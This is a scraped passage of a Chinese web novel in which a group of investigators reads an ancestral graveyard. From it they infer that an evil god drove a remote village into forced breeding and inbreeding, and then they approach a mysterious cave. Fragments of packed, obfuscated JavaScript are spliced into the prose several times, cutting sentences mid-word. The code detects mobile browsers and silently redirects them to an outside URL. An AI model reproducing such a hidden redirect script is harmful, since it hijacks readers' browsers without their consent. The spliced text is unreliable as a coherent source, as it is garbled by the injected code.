d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583389|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解。 对于有归自己来说,十七岁那年发生的事情是她命里的一个劫,如果不是LUO和YIN,以及众多爱护她的长辈用无比的毅力将她围了起来,将那些恶毒的咒骂诋毁挡在墙外,她现在会变成什么模样就很难说了。 十七岁那年到底发生了什么来着。 作为宛湖基地唯一的幸存者,二十五米高墙摔下依旧可以活下来,甚至很快就恢复到和未受伤之前的状态一样。当时救援宛湖基地的人太多了,认识她的人也很多,人长一张口,根本无法压下去。人们并不知道有归到底是什么东西,但可以确定她不是人。噩梦乐园带来的痛苦从未停止,人们心理的创伤从未愈合,有一个怪物混迹在人类之中生活多年的事情瞬间就点爆了舆论。 这件事改变的不只是有归,还成为了诸多人命运的转折点。 当年针对她的处置有几套方案,其中之一是秘密处死她,以绝后患。是当时联合小组的负责人,也就是后来未科院的第一人院长据理力争才保下了她。那个和蔼的老人弥留之际仍在告诉她:“你是一个好孩子,不是怪物,你要作为人堂堂正正地活下去,孩子。” 从那时起,她就不再纠结自己是人还是怪物。 她早就下定了决心。 她可以作为救世的英雄死在殉道的路上,也绝不能成为毁灭世界的梦魇。 ****** “他大概是不想死。”有归说了一句不算废话的废话。没有人想死,除非对这个世界已经彻底绝望,就算是牺牲,也是主观的被动的,是为了理想信念甘愿献身。 “所以他去找了邪神,许下了自己的愿望。” 周嘉语忍不住道:“他许愿的时候,知道会有什么后果吗?” 黎重回答道:“他应该是不知道的。”想了想,有补充说,“不过我觉得,就算他知道会有什么后果,他依旧会这样做。” 见众人都望过来来,黎重笑道:“生存的本能会压倒一切,而且后果又不需要他来背负,他当然会这样选择。” 他看向沈星星的墓,“一个自私自利懦弱到极点的人,不会因为这个就幡然悔悟。” 周嘉语忽然想到一件事,“孟溪村每天刷新物资的事情,会不会也和沈星星有关?”她的理由很充分,“既然是一个自私自利透顶的人,既然提了要求,他会那么老实?这孟溪村什么都没有,想吃口饭要自己种粮食,想吃口肉,要辛辛苦苦去打猎,什么都要自己动手,哪有坐享其成来得又快又好?反正就跟黎重说的一样,他什么都不会损失。” 这回连艾莉安都被说服了,她再也无法说出任何维护的话语。 有归刚才整理出了孟溪村第二代村民的信息,发现那些孩子都是在新历804年后出生的,生产的时间都挨得很近。以沈星实崔越夫妻为例,她们的第二个孩子出生在新历805年,第三个孩子则出生在新历806年,每一年生一个,完全没有间隔。 村民们完全沦为生育机器。 周嘉语看着沈星星的墓咬牙切齿:“等刨了这王八蛋的坟我非把他挫骨扬灰不可。” 有归瞅了她一眼,说:“那你的希望可能要落空了。我们来打一个赌,我赌他的墓里压根就没有尸体。” “而且这祖坟山一千多座坟墓恐怕都是空的。” 44. 第 44 章 听有归这么说,黎重环视这墓园一周,扭头问她道:“这沈星星本就是贪生怕死之徒,他既然求了那邪神让他活下去,为此还把自己的族人全都出卖了,应该不会就为了活个几十年,他只会谋取更大的利益。他立个空墓在这也不奇怪......” 说到这,他停了下来,“他立个空墓在这里是最奇怪的事,既然没死,为什么要给自己立墓树碑?” “总不会是为了掩人耳目金蝉脱壳吧?”周嘉语猜测道,自己都觉得这个说法不靠谱,“他干的那些事当事人都知道,下一辈的人也清楚,有什么遮掩的必要吗?” “或许他想要蒙蔽的并不是人,而是曾经他求过的邪神。”周嘉文忽然说。 他一路沉默着,一开口把所有人的目光都吸引了过去,有归道:“你接着说。” 周嘉文摇头道:“没了。我只是觉得有了邪神做靠山后,沈星星在孟溪村谁也不怕,哪怕是沈凌璧也无法奈何他。只有一个人可以威胁到他,就是那个邪神,沈星星可以背叛自己的族人,当然也可以背弃自己和邪神的同盟。” 黎重沉吟道:“沈星星和邪神虽然只是各取所需,他们的同盟并不牢靠,但邪神又有什么必要对他下手?我们刚才说了半天,好像沈星星还活着,那他又是怎么逃脱邪神的控制的?现在又在哪儿?” 有归接口道:“要逃脱邪神的控制并不难,我们来孟溪村已经三天了,明显就是冲着祂来的,可祂除了昨天对周嘉语暗中下过手没见到有别的行动。从这一点来看,这个邪神虽然不像害了卢易斯和戴洪乐的魔那什那样被完全封印,无法行动,但也好不到那里去。祂可以召唤第一代建村人,但完全无法控制他们的行动,想要施展神威,还需要借助沈星星这个媒介——沈星星是坏,但他不蠢,更何况之前有沈凌璧在,沈凌璧所有的计划都是在邪神的眼皮子底下进行的,他自己还实践过,他很清楚邪神的弱点。” 周嘉语无语道:“这不是卡BUG吗?”关键是还真让人卡成功了。她点评道,“神明做到这份上也是够丢脸的。” “是这样没错。但人们这样愚弄祂,哪怕是邪神也会有三分火气吧,一旦祂挣脱束缚,会做什么?”有归提醒道。 众人一时怔住。这一趟孟溪村之旅已经打破了她们的固有认知,原来真正的神明并不都超脱物外,人类也并不都为情欲所困。并不是只有对人类怀有善意才是神祇,也不是坏事做尽就是恶魔,神明或许冰冷无情,或许高高在上,祂们有什么必要在意人类的想法呢? 如果真正的神明知道人类如此这般傲慢的定义,也会发笑吧。 气氛冷了下来,没有人开口,众人都不约而同地联想到噩梦乐园。如果噩梦乐园的降临并不是所谓的偶然,也不是天外来客,而是对人类有目的有计划有组织的报复呢?如果类似躲藏在孟溪村背后的邪神不止一个,而是分布在弥瑞可大陆不同的地方,在同一时间突破无形的束缚,然后导演了这一出惨剧呢?祂们完全可以做到。 奇迹中折,历史陷落,如果孟溪村背后的这个邪神一个神就可以做到,她们压根不可能站在这里。 见众人终于意识到这一点,有归眨了眨眼睛,点点头,转头对黎重道:“你的第一个问题我想我应该找到答案了。” 黎重一时没反应过来,“什么?”说完他就知道有归是什么意思了,“邪神为什么要对沈星星下手?” 有归道:“或许不是邪神对沈星星做了什么,而是他认为邪神会对他做什么。” “你是说沈星星是因为看到了邪神对第一代建村人做的事情,害怕自己也沦落到这个地步,所以才要逃?”周嘉语简直要气笑了,好一顿输出嘲讽,“当初是谁贪生怕死害得人们沦为傀儡工具,哦这种事在别人头上就不是事,落在他自己身上他就受不了了啊?这还没轮到他呢,畜生不如的东西!” “就因为他知道自己不是个东西,所以才心虚啊,才害怕啊,沈凌璧才过世一年他就撑不住了。”沈凌璧无法真正解决邪神,奈何不得祂,但她活着,与孟溪村而言,就是一种庇护,是对邪神的威慑。 根据祖坟地墓碑上的信息,孟溪村的第一代建村人,除开沈星星,那五十八对正值盛年的夫妻在新历813年就已全部去世。不知道是死而复生和接连生育耗尽了他们的生命,还是沈凌璧做了什么,他们终于解脱了。而那十二个孩子寿数更长一点,或许是因为没有生育,最早的在新历827年去世,而当时年纪最小的沈从安活到了新历834年。沈凌璧在亲手送走自己的最后一个族人,将他们葬入祖坟地,为他们树碑后,最后选择生入墓穴。 “但这只是我们根据现有信息做出的推断,当年到底发生了什么,还需要去找沈凌璧证实,我想她应该会愿意告诉我们的。”有归把本子摊开,看了一眼,继续道,“现在我来回答一下最开始的那个问题,为什么我会说这祖坟山上,包括祖坟地的坟墓都是空的。” “为什么啊?”这是周嘉语。 “你是从哪儿看出来的?”这是黎重的声音。 有归抬头看了两人一眼,也不卖关子,直接道:“还记得墓园外的石碑上说的吗?沈凌璧带领族人来到云雾山是想找一块地肥水暖的地定居,压根没想来这儿,是那个邪神硬把他们召唤过来的。你们想一想啊,一个邪神,一个被封印了力量受阻的神明,祂会需要人们帮祂做什么?人们又能帮祂做什么?” 第一点说到这儿,意味不言自明。 有归继续说第二点:“根据我们之前的推断,邪神虽然力量强大,但祂可以做出的反应十分有限的,想要做到什么,需要以人类为媒介才能实现。可是祂让建村人全部复活,并且让他们无止息的繁衍生育,显然别有目的。”沈星星明显是一个十分好拿捏的工具人,就算一个不够,两个三个十几个几十个也够了,能有什么大事需要几千人去做呢。 “这里是云雾山深处,方圆几百里了无人烟,想攻打个寨子都找不到目标。至于放到外面去,那时候整个弥瑞可大陆都乱成了一锅粥,到处都在打仗,云上帝国也被卷了进去,人命如草芥,别说几千人了,就算是几万人也不见得有多少用处。” 周嘉语“啊”了一声:“看上去这邪神并不需要这些人,那祂这么大费周折是为了什么?” 有归目光扫过四人的脸,含在嘴里的那句话被缓缓吐出:“活人当然没有用,但死人就不一定了。” 明明艳阳高照晴朗天,可四人却觉得这祖坟山仿佛刮起了阵阵阴风,阴寒之气从地底升起,沿着后背爬升至众人头顶,等她们回过神来,才发现自己竟惊出了一身冷汗。 周嘉语抬起袖子抹了一把额头,抬头看了眼有归,吐槽道:“墓园,死人,还真是应景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590377|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但你下次再说这种瘆人话的时候提前给个提示行吗?让我们有点心理准备,不然迟早有一天会被你吓死。” 有归应得飞快:“行。” 黎重望着她欢快的模样,无奈道:“这种事还是别有下次了。” 有归道:“我尽量。” 她继续往下说:“还记得昨天沈三姑说的那些执意离开孟溪村的村民的下场吗?他们活着的时候可以离开孟溪村去外面生活,但死后尸体最终要回到这里来,所以我才说邪神想要的其实是死人,源源不断的死人,准确一点来说是人死后的尸体。” 黎重叹了口气,“正是因为祂需要很多尸体,而沈凌璧一行才一百多人,完全不能满足祂的需求,所以才需要人们不停地生育下去。祂将活人视作源源不断制造生命的机器,人死后,他们的尸体又成为祂的达成某种目的的工具,可以说这个邪神是将人们的所有价值都榨取干净了。” 周嘉语喃喃道:“难怪第一代建村人宁愿去死也不愿意顺从苟活,难怪沈星星要逃,他这是与虎谋皮啊。可是他自己自寻死路,却害得人们死后都不得安息。当他们怀着解脱的希望死后,最后却发现自己又活了过来,彻底陷入无休止的痛苦折磨之中,那时他们会是一种怎样绝望的心情?” 周嘉文朝周嘉语走过去,轻轻将她抱在怀里,她靠在自己哥哥的肩膀上,眼泪无声地流。 有归看看兄妹俩,侧头正对上黎重温柔关怀的目光。她想笑,但确实笑不出来,低头咬了下唇,轻声道:“我没事。” 黎重点了点头,从随身空间里拿出一张手帕递给她,有归哑然:“我真没事。” 她把黎重的手推回去,眼看艾莉安也跟着哭了起来,想了想,说:“其实我把祖坟地之行放在今天,是想知道柳笙在孟溪村遭遇了什么。” 众人的注意力一下被吸引了过来,艾莉安也忘了哭了,周嘉语擦了一把眼泪,眼睛还红着,就问她:“这祖坟山和柳笙有什么关系?难不成是这个沈星星在中作祟?” 她胡乱猜测着,正对沈星星恨得咬牙切齿欲生啖其血肉,便想也不想就把这锅扣给了他。 “也不能说和他全然无关。”柳笙和溪源的惨剧,如果非要找一个罪魁祸首,那沈星星全责。“毕竟如果不是他,孟溪村也不会留存至今,更不会是今天这副模样。” “我之前说过,未来时代之前的繁衍方式主要是传统的男女结合、家庭式的。” 艾莉安疑惑道:“你是有说过,但这跟我们刚才讨论的话题没什么关联吧?” 有归摇头道:“不,有关系,正是因为这种繁衍方式才导致了柳笙的悲剧。”她看几人呆呆的样子,不由扶额,“你们真的是......这是后奇迹时代,不要用未来时代的认知来定义它。” 后奇迹时代及之前时期盛行的人类道德伦理体系的印记,在未来时代其实已经很淡薄了,那种血脉相连的天然联系被社会和法律关系所取代,并逐渐退出历史舞台。基因复制和编译技术彻底打破了之前的血统承袭和传统观念,人们对彼此关系的认定更多的来源于日常生活和基因关联,而不是从血脉出发。 “你们之前不是奇怪为什么孟溪村只有这么点人吗?因为他们封闭,导致血脉越来越近,最终自取灭亡——沈星星没有想到这点,邪神不是人类,祂也始料未及,但沈凌璧想到了。” 45. 第 45 章 见众人依然迟钝,无法反应,有归索性直白道:“简单来说就是村民们在近亲繁殖,到最后整个孟溪村血脉几乎相同,基因池极度退化,要么直接生不出孩子,就算生下来了,孩子不是夭折就是畸形。偶尔有身体正常的孩子降生,大多是体弱多病,只能勉强养大,寿命极低。” “看看这墓园之中有多少异姓之人,又有多少沈姓之人——从人们定居在这里开始,非沈姓之人便越来越少。” 这个确实超出几人的认知了,她们都听得很认真。 有归道:“其实刚来到这里我就有这样的疑问了,这个地方过于偏远闭塞了,孟溪村是怎么存续到现在的。先不说孟溪村有个邪神的事,这个深山老林里面,外面的人会知道这里有个村子吗?就算真有人知道这里有个村庄,孟溪村的人又不能外嫁,只能把人往这村里面娶进来,但又哪来的条件让人家心甘情愿嫁进这种地方?” 村民们连认识外人的机会都没有。 还是那句话,孟溪村实在是太偏僻了。有归没有地图,无法确定这里具体是什么地方,但她可以肯定是人所不能至的绝境,且周围数百里都没有人烟。 她推断的依据有三:一是她曾经在云雾山执行过任务,也进入过薄云山脉,对其雄奇险峻印象深刻。山高而险,如一柄利剑直插云霄,望之令人胆寒;谷深而幽,仿佛是通向地狱的大门,视之夺魂摄魄。大江大河奔涌其中,冲刷出一道道伤痕似的裂谷,再加之古木参天,遮天蔽日,这里一直盛传着恶鬼吃人的传说。直到新历1279年,薄云山脉依旧只有外围分布着少许村镇。 第二点则是有归相信沈凌璧的为人,也是相信曾经那些为了封印邪神而前赴后继的人们。他们精心挑选了这个地方,必然是算准了不会有人来到这里,尤其是沈凌璧背后有一个预见千年的修仙者。 第三点则是那个邪神给有归的信心。当年沈凌璧她们正是踏入了邪神可以感应到的范围,才被祂强行召唤过来,祂既然需要人口,自然不会放过任何机会。但就孟溪村的现状来看,并没有多出什么张氏族人李氏族人。沈凌璧与族人当年自绝于此,虽然最终功亏一篑,但从结果来看,也不能说是完全失败。 周嘉语提出疑问,她说:“但据柳笙日记本上所写,她和沈希源早上从镇上出发,晚上的时候就到这里了。考虑到山路难行,和路上休息的时间,从镇上到孟溪村也就二十多公里,往多了算三十公里......”这和有归的推断完全相悖。 有归道:“是对不上,但我选择相信现实。”现实就是沈凌璧的策略很成功,除沈氏一族外,再无一村一姓之人遭遇毒手。现实也是本不该出现在孟溪村的柳笙沈希源二人,竟然只花了一天时间就来到了这里。 她抬头对上周嘉语的眼睛,说:“很久以前的经历教会我一个道理;只要是真实发生过的事,无论多么离奇,都有是合理的。只是我们没有找到全部的真相。” 所以孟溪村地处深山无人能至是真的,柳笙二人来到这里也是真的。有归曾自嘲自己不仅不长个子,还不长进,她经历了生离死别,也见证过离合悲欢,相信人性的至善,也见过人间的至恶,但她依旧无法做到心如止水。前寰归纪元最明亮的少年,本就该如太阳一般热烈。 她的声线很平稳:“沈凌璧将他们的路都堵死了,他们就自己搬一条路出来——在云国成立前期及之前的时代,人一直都是一种重要的资源,所以才有人口买卖的存在,所以孟溪村才能延续至今。”她永远不会麻木,但那些人那些事终究在她身上留下了痕迹,让她学会了内敛。 本该与世隔绝自闭于深山的人们,却会出现在外界,并且真的操作成功将买来的人口带回孟溪村,这也是真的。 因为终端无法使用,这祖坟地又没有合适的工具,不能直观地把数据展示给众人看,有归只好自己念给大家听。那一行行触目惊心的数字,如同惊雷般炸响在众人头顶,让人灵魂都为之震颤: “从新历795年,到现在的新历999年,总共二百零四年的时间,从第一代建村人算起,孟溪村一共传了九代。第一代的情况我们都清楚,第二代从字辈理论上有四百多人,根据我们在祖坟地的统计也该有这些人,但实际算下来其实也就一百人左右,剩下三百多人去哪了不得而知,先搁着。第三代是成字辈,根据上一代留下的信息该有三百人,但我们只找到一百多座坟。往后的第四代第五代第六代都是这样的情况,上一代诞下的孩子数量跟实际埋葬的孩童的数量完全对不上,差距悬殊。如果出生就夭折了,那么根本就没有取名的必要,更何况还往墓碑上刻。” 所以那些沈氏后人都是好好生下来养大了才离奇消失的,周嘉语和黎重抬头看向有归,恰好有归也看过来,三人视线相对,都看清对方眼底的惊惧:她们都想到了之前无端发疯的纸条主人,根据沈村长的说法,这些人也是莫名失踪了,但人们以为他们是自己离开的。 那些纸条的主人都是和有归她们一样来自未来,人生地不熟,就算是清醒着的,他们也不会贸然离去。因为他们要回家,回到自己所在的时代。那么唯一的合理的解释就是,他们都被那个邪神带走了,就像无论每一代沈氏后人数量多少,祂都只留下一百多人,剩下的全部带走。 这让有归想到了养殖场,留下足够数量的“种”,用以配对繁殖下一代,其余的就可以等待养肥宰来吃肉了。邪神这是把人当牲畜用了,但问题是,祂要这么多人做什么?人的尸体有什么作用? 她越想越不对劲,想得自己脸色由白转青,由白转青,猛然呼出一口浊气,甩了甩头,强行把思绪扭转回来,“还有一件事不知道你们注意到没有,祖坟山的墓并没有夫妻合葬墓,坟堆也都没有挨着,但立的碑上都刻着后代名字,把名字一对,什么关系不言而喻。” 这不知道是谁的手笔,不过这种做法正合众人心意,除开第一代建村人,剩下那些哪里算得上是夫妻。 众人席地而坐,都支着脑袋听有归说话,不管是黎重周嘉语还是周嘉文艾莉安此刻都沉默着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593521|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,默默消化这些信息。 有归看着几人,忽然冒出一句:“你们几个脾气怎么样?受得住气吧?” 众人都摸不着头脑,黎重猜到了一些,肃声道:“那些亲身经历的人都受得住,我们只是出了一副耳朵,能有什么受不了的?” 有归点了点头,接着往下说。 原来,第二代从字辈的别姓之人有九十七个,其中有男有女。但无论男女,无论沈姓还是别姓,所有人的墓碑上后代的姓名,都可以在其他人的墓碑上找到。而且不止一块碑。 也就是说,第一代建村人来到孟溪村后剩下的那些后代,这时已经基本摒弃了作为人的道德观念,化身野兽,强迫他人与之□□,并且是滥交、乱交。 唯一可以庆幸的是,所有沈姓之人墓碑上的后代姓名并没有重合的。 周嘉语嘴巴不由自主地张大,半晌冒出一句:“幸好沈凌璧那时候已经死了,不用面对这些污糟事。” 第三代沈氏族人中,最早的一个出生于新历837年,而沈凌璧死于新历834年。 “死不死的也没区别,沈凌璧的灵魂现在还在沈三姑的身体里,她会看见的。而且比起死后万事不知,我觉得她更愿意亲眼看着这一切,哪怕这会让她痛苦万分。” 听见有归的话,黎重和周嘉语不由转头看向她,有归奇怪道:“怎么了?” 黎重摇头,周嘉语上下打量她,又回头看了她一眼,“我在想你到底多大了,语气这么沧桑?” 有归失笑:“大概是感同身受吧。沈凌璧知道自己没办法力挽狂澜,可就算活得人不人鬼不鬼的,她也要看着孟溪村。清醒的痛苦远比糊涂的死去更需要勇气,但我们都会选择前者。好了,不说这个了,我们继续来看孟溪村的事吧。” 而仅仅运行了两三代人,从第五代村民开始,邪神这个村民繁殖基地就出问题了。有归整合了祖坟地所有的信息,发现第四代村民中外姓之人开始大幅减少,仅有三十三人。 第四代人出生于新历860年,当时弥瑞可大陆乱成了一锅粥,云上帝国遭遇第三次六国联军入侵,为了抵御外敌,朝廷大肆征兵,并将守卫西境的军队调往东边。守境安民的西境守卫军的日常工作之一,是剿灭此地的山匪,云雾山这片地方山高林密,正适合土匪活动,匪患严重。 西境军在时尚且如此,没了头顶压着的这座大山更是翻了天了,山匪们见天的去山民家中,缸里有一碗米都得舀走。过往的行商被杀人抛尸的更不在少数。原就不堪其扰的山民们有能力的大多携家带口往别的地方去了,尤其是家里有正当龄的大姑娘小伙子的,再待下去,钱被抢了,人也没留下,最后的结局只能是变成一堆烂肉,被抛在荒郊野岭,成为滋养野草的肥料。 正因为周边的人少了,拿着再多的物资钱财也无用,更远的地方也不敢去。那世道人命贱如草,他们带着钱财,说不定哪天就被人砍了。 也就是从这一代人起,沈氏后人墓碑上的后代名字开始有了重合。 46. 第 46 章 越靠近现在,墓园之中的外姓之人越少,但可怕的是,这时仍有新生儿诞生。 从这时候起,维持社会运转的各种秩序在孟溪村彻底崩坏,人们不再克制欲望,繁衍成为其生存的本能。 话说到这里,整个沈氏墓园陷入难以言说的死寂之中。有归没有说下去,但众人都自然而然地想到了柳笙,想到她在日记本中所写的那双暗中窥探的眼睛,这么看来柳笙在一开始就被人盯上了。 黎重捏着手指,沉思道:“如果是这样的话,沈希源和柳笙的遭遇应该是一样的。现实是柳笙变成了无法现身人前的恶鬼,她的经历成为那些留下纸条的人的噩梦,沈希源却变成了披着人皮站在太阳底下的怪物,是什么造成了这样的差别?” 周嘉语摇头:“我们现在只是大体知道过去发生了什么事情,但具体的细节还需要更多的证据支撑。” 她转头,见有归抱膝坐着,下巴搁在膝盖上,一脸深思的模样。便问她:“你想到了什么?” 有归站起来站起来蹦跶两下,刚才一直坐着没换姿势,现在腿已经麻了。她望向几人,“你们要不要也起来活动活动,在这坐了老半天了。” 她们又回到沈凌璧墓前,这个地方位置最好,视野开阔,地面又平,还大,能让她们五个人围成圈讨论。现在五人就在这里抻胳膊伸腿,活动完了又坐回去。 有归道:“其实我刚才是在想,为什么我们看见的孟溪村和我们推断的完全不一样?按照我们的推论,孟溪村现在应该是一片混乱不堪,仿佛人间地狱,但就我们所见,虽然奇奇怪怪的,有很多地方说不通,看上去确实是比较正常的。” 周嘉语低头思索着,忽然想到了一件事,扭头问道:“柳笙说她和沈希源赶到孟溪村是什么时候了?” 艾莉安还奇怪:“晚上啊,她在日记本里写着呢。” 周嘉文霍然抬头,“可是孟溪村的晚上不是有剥皮怪物出没吗?” 有归叹道:“这就是问题所在,或者说叫关键节点。” 黎重也叹:“一叶障目啊,我们居然没有发现。” 艾莉安没听懂,面露焦急,催促道:“你们在打什么哑谜呢?就别卖关子了,赶紧说说吧。” 有归指了指周嘉语,“一事不烦二主,你说吧。” “咳咳,”周嘉语清了清嗓子,大概是觉得坐着不好发挥,索性站起来,一边踱步一边讲,“我想,我们应该弄反了一件事情。还记得我们刚来孟溪村那晚上游戏系统发布的那个主线任务吗?” 众人都点头,肯定记得啊,关乎着身家性命呢。而且这破游戏管杀不管埋就算了,那任务面板每天都还要弹出来一下。不愧是最自由的游戏,自由的简直过了火。 周嘉语继续说:“当时我们认为孟溪村最终的结局是‘大雾笼罩鲜血弥漫’,是彻底的毁灭,而这一隐患是在最开始埋下的。” 周嘉文问道:“这有什么不对吗?” 邪神视村民们为源源不断出产新人口的工具,但沈凌璧的布局让这个本来可以运行很久的程序很快出现故障,最终自取灭亡。这在周嘉文看来,是顺理成章、大快人心的结局。 “不对,完全不对。”周嘉语摇头,她说,“孟溪村的隐患确实是沈凌璧埋下的,但这颗雷炸响并不是像我们最开始推断的在很久以后。” 当时她们大胆推测,孟溪村的结局应该发生在新历999年之后,也就是她们现在所在的这个时间点不久以后。而她们来到这里,目的之一可能就是阻止孟溪村的毁灭。 “孟溪村真正毁灭的时间是三年前,亲手引爆这颗雷的正是柳笙!”周嘉语断然道。 艾莉安和周嘉文的嘴张的可以塞下一颗鸡蛋,周嘉语走过去帮她们把下巴合拢,然后伸出一根手指摇晃着:“其实柳笙到来之前的孟溪村已经算是比较正常的了。” “除了感觉到窥探的目光,柳笙的那篇日记里并没有记载任何不对的地方。就之前的村民们来说,他们都敢买卖/人口血亲相/奸了,还会害怕别人知道这些事吗?这孟溪村如此封闭如此偏远,他们做什么都不会避人,因为只要一旦进入村子,人们就再也出不去了。” “所以当时一定有人在试图重建孟溪村的秩序,约束村民们的行为,”黎重想了想,锁定了一个人,“是村长。” “还有沈三姑。”有归补充道。 周嘉语点头,“沈凌璧的灵魂一直在沈三姑的身体里,无论出于什么目的,她都应该会出手帮助沈琏村长重整秩序,哪怕这些人生来就带有原罪。” 不知道那个修仙者有没有告诉过沈凌璧孟溪村最终的结局,不管怎样,能够体面地死去,对孟溪村来说已经是最好的结果了。 柳笙当晚还在悠哉悠哉地写日记,笔触悠然,只是对暗中打量的目光感到奇怪。从后来有归找到的卡片来看,她和沈希源最起码在小楼安然度过了五天,没有规则纸条,没有剥皮的怪物,也没有婴诡,柳笙甚至还有心情欣赏风景,还夸赞村民热情村长和善。 她当时看见的和有归她们现在看见的不一样,那个时候的孟溪村和她们推断的也不一样。 但在柳笙来过之后,一切都不一样了。 “现在,孟溪村化作一个巨大的规则怪谈,村民们都变成了只在白天出现的不明生物,夜晚属于婴诡和剥皮怪物,专门清理不稳定因素——虽然有点地狱,但孟溪村确实从此建立了新的秩序。” 周嘉语又重新坐下,手指轻敲着脑袋,叹气道:“可是说了这么多,我们还是不知道柳笙到底是怎么做到的,就像我们也不知道她是怎么来到孟溪村的一样,她就是一个普通人啊。” “所以我们要继续搜集证据,溪源什么都不记得了,当年发生了什么事只有柳笙一个人知道。沈三姑可能也清楚当年的事情,但她碍于规则不会告诉我们。”有归转头对众人说。 “柳笙之前主动现身过一次,但后面就再也没有出现过,所以我们不能赌能从柳笙口中得知全部真相。孟溪村传到如今两百年,这两百年间不是没有出现过外来者,却只有柳笙彻底毁灭这个地方,如果不是她有什么特殊之处,那就只能说明这村庄之中还有我们没有发现的秘密,这个秘密足以毁天灭地!” 她用手撑地站起身来,一挥手,道:“现在我们还有三个地方没有探查过:破屋,祠堂,还有后山。婴诡是不是真的存在,以及我们刚才关于孟溪村过去所有荒唐混乱事的猜测,都需要亲自去证实。就戴洪乐所形容的婴诡的模样,应该是近亲繁殖所产出的畸形儿异变的产物,纸条上又说它们来自后山,我想过去孟溪村所诞下的那些畸形的婴儿,都被村民们扔到后山去了。” “祠堂的话我还是最开始的观点,不到万不得已不要贸然探访,一切等我们查访过破屋再说。最后是村东北的破屋,这个地方特殊到连变身怪物的村民们都绕道走,足以说明它的凶险,但我们必须要去一趟,因为这个地方很有可能就是柳笙最后生活过的地方。” 听到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周嘉语把手搭在有归肩膀上,探出一颗脑袋,加入讨论,“但情侣之间也有心灵感应这种说法吗?而且也不能真的确定溪源就是沈希源,说不定皮囊还在,灵魂却换了呢?” 有归伸出手把周嘉语的脑袋推回去,拿开她的爪子,不经意间对上黎重的眼睛,看见他眼底快要溢出来的笑意,眨了眨眼,不明白他为什么这么高兴。她不忘回答周嘉语的问题,“所以我才要探访过破屋后再去祠堂。” 黎重不知怎么蹭到了有归身边,把周嘉语挤走了,“明天破屋我们两个一起去吧,虽然后山看上去没有什么危险,但还是要做好准备,让周嘉语和艾莉安周嘉文她们一起去,这样也能放心一点。” 不明真相的两位吃瓜群众觉得这个安排很妥当,都点头,风暴中心的有归毫无自觉,也点头,“那明天就这样行动吧。” 于是受伤的只有想跟可爱妹妹贴贴,却被某人无情踹到一边去的周嘉语。 周嘉语暗自咬牙:诡计多端装模作样的男人,祝你单相思一辈子! 这时太阳已经偏西,众人都从地上起身,活动活动手脚,准备继续翻山越岭,看看溪源和沈三姑都提起的那个山洞。那个山洞说是在祖坟山的背面,她们猜测就是祖坟地所在这座矮山的另一面,预备先探探路。 离开沈氏墓园的一瞬,阳光照在众人身上,瞬间觉得酷热难耐。她们回过头看,祖坟山一片寂静,有归点评道:“这个地方确实有点说法。” 47. 第 47 章 那个山洞的确就在祖坟地的另一面,有归她们还发现一条小路直接通向山洞,全部用石头铺砌。大概是因为沈凌璧常往这山洞来,路修的很结实,将近两百年过去了依旧没有毁坏,只是苍苔覆面野草蔓生,走在上面,像是和沈凌璧一起走过这两百年时光。 路的尽头正是洞口,比西山的风蚀洞更高更大更深,几人都谨慎地探头往里张望。 一阵阵凉风从洞穴深处袭来,还带着奇异的香味,闻之令人神清气爽。有归回头看众人,说:“我记得村长说这里住的是一条大蟒蛇吧,蛇住的地方不是应该带着动物的腥臊臭味吗?怎么这里会有香气?” “是有点古怪。”黎重说着,越过有归走在最前面。有归欸了一声,正要说话,胳膊被扯住了,她回头一看,周嘉语把她往后拽,侧身挡在她前面,低声道:“别出声。” 有归以为两人发现了什么,仔细一听什么声音都没有,周围也并没变化,便忽然炸了毛,愤怒地看着两人。两人都不懂她炸毛的点,有归眼睛都红了,嘶声道:“我不需要你们保护,我会保护好自己的。” 两人皆是手足无措,有归突如其来的脆弱一下将在场四人都整懵了。周嘉语正想着要不要道个歉,有归忽然一抹眼睛,手指竖在唇前示意她们不要出声。 众人僵立着,连头也不敢转,因为这山洞中忽然响起极轻的摩擦声,像是什么东西在山体内部游动,悉悉索索,悉悉索索,听的人头皮发麻。这山洞和风蚀洞类似,只是崖壁上分布着好几个洞口,显然这山体内部也是四通八达,构造复杂。因为山洞内部的回音,导致这声音从四面八方传来,根本无法确定方向,也完全无法防范。 